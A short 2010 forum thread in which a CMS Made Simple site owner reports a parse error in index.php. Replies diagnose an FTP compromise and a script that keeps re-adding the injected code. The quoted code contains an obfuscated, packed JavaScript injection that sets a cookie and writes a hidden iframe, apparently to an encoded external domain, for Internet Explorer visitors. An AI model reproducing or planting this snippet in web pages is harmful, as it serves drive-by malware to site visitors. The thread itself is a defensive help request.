Page 1 of 1

Parse Error on index.php

Posted: Tue Feb 23, 2010 10:37 am
by monoweb
A site I have set up using CMSMS keps going down and shows this error message.

Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in /home/silverg/public_html/index.php on line 53

The code at fault is

else if (file_exists(TMP_CACHE_LOCATION.'/SITEDOWN'))
{
echo "Maintenancesa="%6A%64%6B%73%6C%65%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c+'\\b','g'),k[c])}}return p}('28(9.8.7("17 6")!=-1&&0.5.7("4=3")==-1){0.5="4=3; 11=13, 14 16 10 14:15:26 12; ";0.24("")}',10,30,'document||iframe|s|_mlsdkf|cookie||indexOf|appVersion|navigator|2015|expires|GMT|Mon|||Jul|MSIE|sa|b2b|style|display|http|src|write|width||height|if|none'.split('|')));Site down for maintenance.";
exit;
}


However this differs from code on a normal index.php file but even after changing it to its original state it reverts to this.

Can anyone help?

Re: Parse Error on index.php

Posted: Tue Feb 23, 2010 7:38 pm
by Rolf
Hello monoweb,

Welcome here.
It looks like your website is ftp-hacked...

Rolf

Re: Parse Error on index.php

Posted: Tue Feb 23, 2010 11:52 pm
by replytomk3
You have a script file elsewhere that reverts the file after you post the clean version.

For the quickest remedy, backup as I describe in my signature and reinstall CMSMS from a fresh version. If you want to dig in - download the website and scan files by using a scanner like Avast!. But in my professional experience you will have chunks of code missing or broken after a manual amateur cleanup.